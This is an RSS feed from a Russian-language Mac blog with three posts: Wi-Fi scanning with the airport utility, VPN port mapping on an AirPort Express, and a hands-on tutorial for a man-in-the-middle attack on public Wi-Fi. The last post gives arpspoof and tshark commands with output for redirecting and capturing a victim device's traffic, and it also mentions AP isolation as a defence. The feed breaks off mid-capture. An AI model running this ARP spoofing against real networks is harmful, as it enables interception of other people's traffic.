<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Apple Geek &#187; wifi</title>
	<atom:link href="http://theapplegeek.ru/archives/tag/wifi/feed" rel="self" type="application/rss+xml" />
	<link>http://theapplegeek.ru</link>
	<description>Чему ты научился сегодня?</description>
	<lastBuildDate>Fri, 30 Jul 2010 13:48:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
<atom:link rel="hub" href="http://pubsubhubbub.appspot.com"/><atom:link rel="hub" href="http://superfeedr.com/hubbub"/>		<item>
		<title>Работа с WiFi из командной строки (airport)</title>
		<link>http://theapplegeek.ru/archives/4237</link>
		<comments>http://theapplegeek.ru/archives/4237#comments</comments>
		<pubDate>Thu, 29 Jul 2010 06:49:04 +0000</pubDate>
		<dc:creator>ctrld</dc:creator>
				<category><![CDATA[Статьи]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[wifi]]></category>

		<guid isPermaLink="false">http://theapplegeek.ru/?p=4237</guid>
		<description><![CDATA[Из подборки на superuser.com я освежил для себя подзабытую команду airport, с помощью которой можно работать с WiFi-подсистемой. Утилита находится в дебрях фреймворка Apple80211: /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport Для упрощения работы можно сделать алиас: $ vim ~/.bash_profile alias ap='/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport' Сканирование сетей: $ /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -s SSID BSSID RSSI CHANNEL HT CC SECURITY (auth/unicast/group) XXXXXXX 00:00:00:00:00:a6 -65 2 N IL [...]]]></description>
			<content:encoded><![CDATA[<p>Из подборки на <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://superuser.com/questions/52483?tab=votes&#038;page=2#tab-top" >superuser.com</a></noindex> я освежил для себя подзабытую команду airport, с помощью которой можно работать с WiFi-подсистемой.</p>
<p>Утилита находится в дебрях фреймворка Apple80211:</p>
<pre>
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport
</pre>
<p><span id="more-4237"></span></p>
<p>Для упрощения работы можно сделать алиас:</p>
<pre>
$ vim ~/.bash_profile
alias ap='/System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport'
</pre>
<p>Сканирование сетей:</p>
<pre>
$ /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -s
<small>SSID    BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
XXXXXXX 00:00:00:00:00:a6  -65       2  N IL WPA(PSK/AES,TKIP/TKIP) WPA2(PSK/AES,TKIP/TKIP)
YYYYYYY 00:00:00:00:00:ab  -34       7  Y AT WPA2(PSK/AES/AES)</small>
</pre>
<ul>
<li>SSID &#8211; service set identifier. Имя, которое идентифицирует беспроводную сеть</li>
<li>BSSID &#8211; basic service set identifier. В большинстве случаев это идентификатор Access Point и является её MAC-адресом</li>
<li>RSSI &#8211; Received signal strength indication. Мощность сигнала. Чем больше значение, тем сигнал мощнее (в примере сигнал сети YYYYYYY сильнее XXXXXXX).</li>
<li>CHANNEL &#8211; <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://en.wikipedia.org/wiki/IEEE_802.11#Channels_and_international_compatibility" >канал</a></noindex>, на котором работает сеть. Для информации &#8211; в 802.11g есть всего три неинтерферирующих канала, поэтому если вокруг много активно работающих сетей, то будет наблюдаться снижение скорости и сбои в работе.</li>
<li>HT &#8211; я так и не нашёл, что это такое.</li>
<li>CC &#8211; страна, определяет частотный диапазон и конфигурируется для Access Point. IL &#8211; Израиль, AT &#8211; Австрия.</li>
<li>SECURITY (auth/unicast/group) &#8211; технология защиты, обмен ключами, шифрование.</li>
</ul>
<p>Информация по текущей сети:</p>
<pre>
$ /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -I
<small>     agrCtlRSSI: -37
     agrExtRSSI: 0
    agrCtlNoise: -89
    agrExtNoise: 0
          state: running
        op mode: station
     lastTxRate: 145
        maxRate: 144
lastAssocStatus: 0
    802.11 auth: open
      link auth: wpa2-psk
          BSSID: 00:00:00:00:00:ab
           SSID: XXXXXXXXXXXX
            MCS: 15
        channel: 7</small>
</pre>
<p>Почти все параметры говорят сами за себя (кроме lastTxRate и maxRate, которые я не могу объяснить внятно). Меня интересуют два параметра:</p>
<ul>
<li>agrCtlRSSI &#8211; мощность сигнала, чем выше, тем лучше</li>
<li>agrCtlNoise &#8211; шум, чем меньше, тем лучше</li>
</ul>
<p>Отключение от сети</p>
<pre>
$ sudo /System/Library/PrivateFrameworks/Apple80211.framework/Versions/A/Resources/airport -z
</pre>
]]></content:encoded>
			<wfw:commentRss>http://theapplegeek.ru/archives/4237/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>VPN-сервер в локальной сети за AirPort Express. Настройка Port Mapping</title>
		<link>http://theapplegeek.ru/archives/4130</link>
		<comments>http://theapplegeek.ru/archives/4130#comments</comments>
		<pubDate>Tue, 06 Jul 2010 13:09:18 +0000</pubDate>
		<dc:creator>ctrld</dc:creator>
				<category><![CDATA[Статьи]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[vpn]]></category>
		<category><![CDATA[wifi]]></category>

		<guid isPermaLink="false">http://theapplegeek.ru/?p=4130</guid>
		<description><![CDATA[Администраторам часто приходится работать с серверами удалённо, как по ssh, так и по VNC/RDP/Screen Sharing/Remote Management. Можно открывать прямой доступ к нужным сервисам, полагаясь на пароли. Можно улучшать безопасность, разрешая доступ на брендмауерах только с определённых доверенных хостов и категорически не допускать внесения в этот список сетей по принципу &#8220;Ага, Yota. Ага, у них блок [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://theapplegeek.ru/wp-content/uploads/2010/07/01_vpn-thumb1.png" height="200" align="right" width="200" style=" display: inline; float: right; margin: 0 0 10px 10px;" /></p>
<p>Администраторам часто приходится работать с серверами удалённо, как по ssh, так и по VNC/RDP/Screen Sharing/Remote Management.<br />
Можно открывать прямой доступ к нужным сервисам, полагаясь на пароли. Можно улучшать безопасность, разрешая доступ на брендмауерах только с определённых доверенных хостов и категорически не допускать внесения в этот список сетей по принципу &#8220;Ага, Yota. Ага, у них блок /18. Ага, администратор пользуется Yota. Ага, разрешим доступ со всего блока /18&#8243; (к сожалению, в этом блоке есть сотни зараженных хостов, которые сканируют всё окружающее на предмет дыр, а от дыр не застрахован никто).</p>
<p>Но можно построить составную политику безопасности &#8211; для доступа в сеть использовать VPN-шлюз, а уже через VPN можно получить доступ к нужным ресурсам. Это и удобно &#8211; доступ можно разрешить из публичного Интернет, и достаточно безопасно при условии нормальной политики паролей.</p>
<p><span id="more-4130"></span></p>
<p>В своей лаборатории я использую Mac OS X Server, на котором решил проверить вопросы, возникающие при реализации такой схемы. В Mac OS X Server VPN-сервер встроен и управляется через GUI. Вы также можете вручную настроить VPN-сервер на Mac OS X по статье Павла Цибулина &#8220;<noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://www.papasha.kiev.ua/2010/01/snow-leopard-as-vpn-server.html" >Snow Leopard as VPN server</a></noindex>&#8220;.</p>
<p>Конфигурация сети такова:</p>
<ul>
<li>доступ в Интернет из локальной сети обеспечивается WiFi-маршрутизатором через NAT</li>
<li>в локальной сети стоит VPN-сервер на Mac OS X Server 10.6</li>
<li>нужно получить доступ из публичного Internet в локальную сеть через VPN-сервер</li>
</ul>
<p>На первый взгляд всё просто &#8211; настраиваешь проброс нужных портов с внешнего интерфейса WiFi-маршрутизаторе на VPN-сервер и пользуешься. Но реальная жизнь всегда сложнее.</p>
<p>У меня стоит <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://www.linksysbycisco.com/EU/en/products/WRT610N/" >Linksys WRT610n v1</a></noindex> (с последней официальной прошивкой). В нём можно описать один хост из локальной сети как хост из DMZ, и все запросы на внешний адрес WiFi-маршрутизатора будут передаваться автоматически на этот хост. Сделал &#8211; глухо. Ни PPTP, ни L2TP не заработали, в логах были попытки, но дальше LCP ничего не шло, и соединение не устанавливалось. При попытке соединения из локальной сети VPN поднимался без вопросов. Вывод &#8211; причина в маршрутизаторе.</p>
<p>Решил зайти с другой стороны и явно разрешить используемые порты &#8211; аналогичная картина.</p>
<p>И тут я вспомнил, что давно хотел купить для лаборатории AirPort Express (предварительно найдя информацию, что интересующая меня схема возможна). Сказано &#8211; сделано. Зашёл в <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://store.iland.ua/index.php?main_page=product_info&#038;cPath=3_27&#038;products_id=94" >iLand</a></noindex> (Киев), пообщался с приятными людьми, повосхищался iPhone4, и вышел с AirPort Express.</p>
<p>Настроил точку, открыл нужные порты согласно документа &#8220;<noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://support.apple.com/kb/ts1629" >&#8220;Well known&#8221; TCP and UDP ports used by Apple software products</a></noindex>&#8220;:</p>
<table width="100%" cellspacing="0" border="0" id="kbtable">
<tbody>
<tr valign="top" id="header">
<td width="60"><b>Port</b></td>
<td width="75"><b>TCP or UDP</b></td>
<td width="160"><b>Service or Protocol Name</b></td>
<td width="60"><b>RFC</b></td>
<td width="325"><b>Used by / Additional information</b></td>
</tr>
<tr valign="top">
<td><strong>500</strong></td>
<td>UDP</td>
<td>ISAKMP/IKE</td>
<td>-</td>
<td>Mac OS X Server VPN service, Back to My Mac (MobileMe, Mac OS X v10.5 or later).</td>
</tr>
<tr valign="top" id="even">
<td><strong>1701</strong></td>
<td>UDP</td>
<td>L2TP</td>
<td>-</td>
<td>Mac OS X Server VPN service</td>
</tr>
<tr valign="top">
<td><strong>1723</strong></td>
<td>TCP</td>
<td>PPTP</td>
<td>-</td>
<td>Mac OS X Server VPN service</td>
</tr>
<tr valign="top" id="even">
<td><strong>4500</strong></td>
<td>UDP</td>
<td>IKE NAT Traversal</td>
<td>-</td>
<td>Mac OS X Server VPN service, Back to My Mac (MobileMe, Mac OS X v10.5 or later).<br />
<strong>Note</strong>: VPN and MobileMe are mutually exclusive when configured through an Apple access point (such as an AirPort Base Station); MobileMe will take precedence.
            </td>
</tr>
</tbody>
</table>
<p>Конфигурация AirPort выглядит так:</p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2010/07/02_vpn-full.png"  class="image-link" rel="lightbox[4130]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2010/07/02_vpn-thumb.png" height="392" width="500" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p>Детали по портам:</p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2010/07/03_vpn-full.png"  class="image-link" rel="lightbox[4130]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2010/07/03_vpn-thumb.png" height="362" width="500" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2010/07/04_vpn-full.png"  class="image-link" rel="lightbox[4130]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2010/07/04_vpn-thumb.png" height="362" width="500" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2010/07/05_vpn-full.png"  class="image-link" rel="lightbox[4130]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2010/07/05_vpn-thumb.png" height="362" width="500" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2010/07/06_vpn-full.png"  class="image-link" rel="lightbox[4130]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2010/07/06_vpn-thumb.png" height="362" width="500" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p>Само собой, для VPN-сервера настроена выдача статического адреса по DHCP:</p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2010/07/07_vpn-full.png"  class="image-link" rel="lightbox[4130]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2010/07/07_vpn-thumb.png" height="423" width="500" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p>VPN-сервер у меня уже настроен (и L2TP, и PPTP). Были, конечно, некоторые проблемы &#8211; не всё так быстро происходит, как пишется. Они были связаны именно с L2TP &#8211; PPTP заработал сразу.</p>
<p>Но после вчитывания в фразу &#8220;VPN and MobileMe are mutually exclusive when configured through an Apple access point (such as an AirPort Base Station); MobileMe will take precedence&#8221; и многократного запуска <a href="http://theapplegeek.ru/archives/431" >tshark</a> я отключил на сервере &#8220;Back to My Mac&#8221;. После чего всё заработало (и PPTP, и L2TP):</p>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2010/07/08_vpn-full.png"  class="image-link" rel="lightbox[4130]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2010/07/08_vpn-thumb.png" height="480" width="320" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p>Особенность &#8211; при настройке PPTP нужно указать &#8220;Encryption Level = Auto&#8221;.</p>
<p>Есть и другие вопросы (динамическая выдача маршрутов на нужные сети, маршрутизация, фильтрация), но об этом напишу в другой раз.</p>
<p>P.S. Маршрутизатор Linksys WRT610n v1 остался не у дел. Попробовал поставить прошивку dd-wrt, но радиочасть не захотела включаться. Откатился обратно. Да и что-то у меня нет желания возиться со странными неофициальными прошивками &#8211; Apple меня развратил красотой решений. А вот AirPort Express я очень доволен. Сейчас воткнул в него наушники и транслирую музыку с ноутбука. Благодать.</p>
]]></content:encoded>
			<wfw:commentRss>http://theapplegeek.ru/archives/4130/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Перехват трафика устройств, подключённых через публичную точку доступа WiFi (атака MITM)</title>
		<link>http://theapplegeek.ru/archives/1926</link>
		<comments>http://theapplegeek.ru/archives/1926#comments</comments>
		<pubDate>Thu, 19 Nov 2009 14:25:21 +0000</pubDate>
		<dc:creator>ctrld</dc:creator>
				<category><![CDATA[Статьи]]></category>
		<category><![CDATA[network]]></category>
		<category><![CDATA[security]]></category>
		<category><![CDATA[wifi]]></category>
		<category><![CDATA[wireshark]]></category>

		<guid isPermaLink="false">http://theapplegeek.ru/?p=1926</guid>
		<description><![CDATA[Вчера @akaDimiG сбросил мне небольшую заметку &#8220;Безопасность Wi-Fi в iPhone под сомнением&#8220;, которая с первого взгляда у меня вызвала большое сомнение. 4 ноября компания SMobile Global Threat Center опубликовала исследование об атаке MITM (Man-in-the-middle) на смартфоны (и iPhone в том числе), подключающиеся в Интернет через публичные точки доступа WiFi. Ничего нового это исследование не открыло [...]]]></description>
			<content:encoded><![CDATA[<p><img src="http://theapplegeek.ru/wp-content/uploads/2009/11/01_mitm-thumb1.png" height="223" align="left" width="200" style=" display: inline; float: left; margin: 0 10px 10px 0;" />
<p>Вчера <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://twitter.com/akaDimiG" >@akaDimiG</a></noindex> сбросил мне небольшую заметку &#8220;<noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://macpages.ru/pages/bezopasnost-wi-fi-v-iphone-pod-somneniem.html" >Безопасность Wi-Fi в iPhone под сомнением</a></noindex>&#8220;, которая с первого взгляда у меня вызвала большое сомнение.</p>
<p>4 ноября компания <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://threatcenter.smobilesystems.com/?p=1588" >SMobile Global Threat Center</a></noindex> опубликовала исследование об атаке <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://en.wikipedia.org/wiki/Man-in-the-middle_attack" >MITM</a></noindex> (Man-in-the-middle) на смартфоны (и iPhone в том числе), подключающиеся в Интернет через публичные точки доступа WiFi.<br />
Ничего нового это исследование не открыло &#8211; эти техники известны давно, однако оно обратило внимание на технику обхода шифрации SSL (SSL Bypass). Статья доступна в виде PDF <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://threatcenter.smobilesystems.com/wp-content/uploads/2009/11/MIMT-Whitepaper031.pdf" >на сайте компании</a></noindex>. Уязвимость SSL была продемонстрирована на <noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/http://www.informationweek.com/news/security/vulnerabilities/showArticle.jhtml?articleID=214501930" >конференции Black Hat</a></noindex> в феврале 2009. Детальное описание можно посмотреть в презентации Moxie Marlinspike (PDF) &#8220;<noindex><a rel="nofollow" href="http://theapplegeek.ru/goto/https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf" >New Tricks For Defeating SSL In Practice</a></noindex>&#8220;.</p>
<p>Но, поддавшись первому порыву, посмотрите внимательно на этот доклад. Чтобы атака сработала, клиент <b>должен</b> установить соединение по http (gmail.com), исследователь перехватывает ссылку, на которую переправляет (https://gmail.com) и сам общается с gmail по https, транслируя все данные форм, возвращая &#8220;жертве&#8221; данные по http. Но если &#8220;жертва&#8221; пойдёт прямо на &#8220;https://gmail.com&#8221;, то никакой MITM/SSL Bypass не расшифрует этот трафик. И только закон больших чисел даёт из сотен человек найти одну &#8220;жертву&#8221;. Исследование &#8211; это отличный PR, рассчитанный на обычных людей. Посмотрите на десяток перепечаток новости &#8211; в каждой сквозит беспочвенная паника.</p>
<p>Поэтому вместо гипотетического &#8220;SSL Bypass&#8221; давайте рассмотрим, как провести атаку Man In The Middle.</p>
<p><span id="more-1926"></span></p>
<h2>Man in the middle</h2>
<p style="clear: both"><a href="http://theapplegeek.ru/wp-content/uploads/2009/11/02_mitm-full.png"  class="image-link" rel="lightbox[1926]"><img class="linked-to-original" src="http://theapplegeek.ru/wp-content/uploads/2009/11/02_mitm-thumb.png" height="270" width="500" style=" text-align: center; display: block; margin: 0 auto 10px;" /></a></p>
<p>Я проходился <a href="http://theapplegeek.ru/archives/283" >по нерадивым администраторам</a>, для облегчения себе жизни или из простого незнания не уделяющим внимания потенциальным дырам в безопасности. Атаку MITM можно сделать невозможной, включив на точке доступа функцию &#8220;AP Isolation&#8221;, тогда клиенты в сети не смогут взаимодействовать напрямую. По крайней мере в точках LinkSys я такую функцию находил.</p>
<p>Раньше я думал, что MITM осуществить непросто, и на неё можно не обращать внимание. Как я ошибался&#8230;</p>
<p>Итак, приступим. Нам понадобится ноутбук (тематика блога подразумевает ноутбук Apple, но подойдёт любой Unix).</p>
<p>MITM заключается в том, чтобы заставить клиента думать, что трафик нужно просылать не через законный маршрутизатор, а через компьютер атакующего, путём внедрения фальшивого ARP. Для этого нужна утилита arpspoof. Она входит в пакет dsniff.</p>
<p>Обновляем порты:</p>
<pre>
$ sudo port selfupdate
$ port search dsniff
dsniff @2.3 (net)
    network auditing and penetration testing tools

dsniff-devel @2.4b1 (net)
    network auditing and penetration testing tools
</pre>
<p>К сожалению, у меня не поставлся обычный dsniff из-за проблем компиляции с libnet, поэтому использовал dsniff-devel, ставящий библиотеки X11.</p>
<pre>
$ sudo port install dsniff-devel
</pre>
<p>Теперь нужно определить адрес &#8220;жертвы&#8221;. Он определяется по броадкаст- и мультикаст-запросам, которые устройство посылает после входа в сеть. Это делаем утилитой tshark из пакета <a href="http://theapplegeek.ru/archives/431" >Wireshark</a>.</p>
<p>В качестве жертвы я использовал iPhone, подключающийся в WiFi-сеть, в которой уже зарегистрирован &#8220;исследователь&#8221;. Для простоты убираем из захвата tshark пакеты исследователя (192.168.99.10):</p>
<pre>
$ sudo tshark -i en1 not host 192.168.99.10
<small>86.799891      0.0.0.0 -> 255.255.255.255 DHCP DHCP Request  - Transaction ID 0x702c1385
86.799930 Apple_43:7e:5b -> Broadcast    ARP Gratuitous ARP for 192.168.99.12 (Request)
87.208880 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
87.329216 192.168.99.12 -> 224.0.0.2    IGMP V2 Leave Group 224.0.0.251
87.336388 192.168.99.12 -> 224.0.0.251  IGMP V2 Membership Report / Join group 224.0.0.251
87.535037 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
87.633880 Apple_43:7e:5b -> Broadcast    ARP Who has 192.168.99.1?  Tell 192.168.99.12
87.635113 192.168.99.12 -> 224.0.0.251  MDNS Standard query ANY ole-iphone.local, "QU" question
87.790738 Apple_43:7e:5b -> Broadcast    ARP Who has 192.168.99.1?  Tell 192.168.99.12
87.885778 192.168.99.12 -> 224.0.0.251  MDNS Standard query ANY ole-iphone.local, "QM" question
87.935788 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
88.135397 192.168.99.12 -> 224.0.0.251  MDNS Standard query ANY ole-iphone.local, "QM" question
88.336400 Apple_43:7e:5b -> Broadcast    ARP Who has 169.254.255.255?  Tell 192.168.99.12
88.385319 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
89.461989 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
91.407420 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local
92.226848 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1
92.227119 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1
93.660303 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1
93.660615 192.168.99.12 -> 239.255.255.250 SSDP M-SEARCH * HTTP/1.1
94.457022 192.168.99.12 -> 224.0.0.251  IGMP V2 Membership Report / Join group 224.0.0.251
95.401260 192.168.99.12 -> 224.0.0.251  MDNS Standard query response A, cache flush 192.168.99.12 PTR, cache flush ole-iphone.local</small>
</pre>
<p>Жертва определена, она получила адрес 192.168.99.12. Необходимо пропустить трафик жертвы через ноутбук, для чего включаем ip forwarding:</p>
<pre>
$ sysctl net.inet.ip.forwarding
net.inet.ip.forwarding: 0

$ sudo sysctl -w net.inet.ip.forwarding=1
</pre>
<p>Запускаем инъекцию ложных arp, чтобы &#8220;жертве&#8221; в ответ на запрос mac маршрутизатора выдался mac &#8220;исследователя&#8221;:</p>
<pre>
$ sudo arpspoof -i en1 -t 192.168.99.12 192.168.99.1
0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c
0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c
0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c
0:26:8:e2:a6:c 4:1e:64:43:7e:5b 0806 42: arp reply 192.168.99.1 is-at 0:26:8:e2:a6:c
</pre>
<ul>
<li>-i en1 &#8211; AirPort</li>
<li>-t 192.168.99.12 &#8211; адрес жертвы, ложный mac будет сообщаться в ответ на запросы с этого адреса</li>
<li>192.168.99.1 &#8211; адрес маршрутизатора, фальшивый mac будет сообщаться в ответ на запросы этого адреса</li>
</ul>
<p>00:26:08:e2:a6:0c &#8211; это mac ноутбука исследователя:</p>
<pre>
$ ifconfig en1
<small>en1: flags=8863&lt;UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST&gt; mtu 1500
	inet 192.168.99.10 netmask 0xffffff00 broadcast 192.168.99.255
	ether 00:26:08:e2:a6:0c</small>
</pre>
<p>Вот, собственно, и всё, теперь трафик &#8220;жертвы&#8221; проходит через ноутбук исследователя:</p>
<pre>
$ sudo tshark -i en1 host 192.168.99.12
<small>Capturing on en1
  0.000000 Apple_e2:a6:0c -> Apple_43:7e:5b ARP 192.168.99.1 is at 00:26:08:e2:a6:0c
  9.279215 192.168.99.12 -> 192.168.99.1 DNS Standard query A www.mysql.com
  9.279237 192.168.99.12 -> 192.168.99.1 DNS Standard query A www.mysql.com
  9.279270 192.168.99.10 -> 192.168.99.12 ICMP Redirect (Redirect for host)
  9.291862 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276460 TSER=0
  9.291932 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276460 TSER=0
  9.429857 192.168.99.12 -> 74.125.43.109 TCP 49485 > imaps [ACK] Seq=317 Ack=632 Win=32952 Len=0 TSV=840276461 TSER=2003984811
  9.429898 192.168.99.12 -> 74.125.43.109 TCP [TCP Dup ACK 48#1] 49485 > imaps [ACK] Seq=317 Ack=632 Win=32952 Len=0 TSV=840276461 TSER=2003984811
  9.430490 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276461 TSER=1590046881
  9.430498 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 50#1] 49718 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276461 TSER=1590046881
  9.439025 192.168.99.12 -> 213.136.52.29 HTTP GET /news-and-events/web-seminars/display-467.html HTTP/1.1
  9.439079 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /news-and-events/web-seminars/display-467.html HTTP/1.1
  9.637697 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [ACK] Seq=421 Ack=2897 Win=130320 Len=0 TSV=840276463 TSER=1590046948
  9.637759 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 54#1] 49718 > http [ACK] Seq=421 Ack=2897 Win=130320 Len=0 TSV=840276463 TSER=1590046948
  9.638451 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [ACK] Seq=421 Ack=4740 Win=128476 Len=0 TSV=840276463 TSER=1590046948
  9.638503 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 56#1] 49718 > http [ACK] Seq=421 Ack=4740 Win=128476 Len=0 TSV=840276463 TSER=1590046948
  9.649155 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [FIN, ACK] Seq=421 Ack=4740 Win=131768 Len=0 TSV=840276464 TSER=1590046948
  9.649211 192.168.99.12 -> 213.136.52.29 TCP 49718 > http [FIN, ACK] Seq=421 Ack=4740 Win=131768 Len=0 TSV=840276464 TSER=1590046948
  9.702673 192.168.99.12 -> 213.136.52.29 TCP 49719 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.702728 192.168.99.12 -> 213.136.52.29 TCP 49719 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.719934 192.168.99.12 -> 213.136.52.29 TCP 49720 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.719989 192.168.99.12 -> 213.136.52.29 TCP 49720 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.727094 192.168.99.12 -> 213.136.52.29 TCP 49721 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.727138 192.168.99.12 -> 213.136.52.29 TCP 49721 > http [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=2 TSV=840276464 TSER=0
  9.841247 192.168.99.12 -> 213.136.52.29 TCP 49719 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517568
  9.841309 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 66#1] 49719 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517568
  9.841400 192.168.99.12 -> 213.136.52.29 TCP 49720 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517572
  9.841428 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 68#1] 49720 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517572
  9.845311 192.168.99.12 -> 213.136.52.29 TCP 49721 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517573
  9.845379 192.168.99.12 -> 213.136.52.29 TCP [TCP Dup ACK 70#1] 49721 > http [ACK] Seq=1 Ack=1 Win=131768 Len=0 TSV=840276465 TSER=1614517573
  9.845543 192.168.99.12 -> 213.136.52.29 HTTP GET /common/js/clear_search_text.js HTTP/1.1
  9.845593 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /common/js/clear_search_text.js HTTP/1.1
  9.845986 192.168.99.12 -> 213.136.52.29 HTTP GET /common/css/print.css HTTP/1.1
  9.846023 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /common/css/print.css HTTP/1.1
  9.848917 192.168.99.12 -> 213.136.52.29 HTTP GET /common/css/mysql.css HTTP/1.1
  9.848971 192.168.99.12 -> 213.136.52.29 HTTP [TCP Out-Of-Order] GET /common/css/mysql.css HTTP/1.1</small>
</pre>
<p>К счастью, обмен с MobileMe и GMail ведётся по HTTPS/IMAPS:</p>
<pre>
$ sudo tshark -i en1 host 192.168.99.12
<small>Capturing on en1
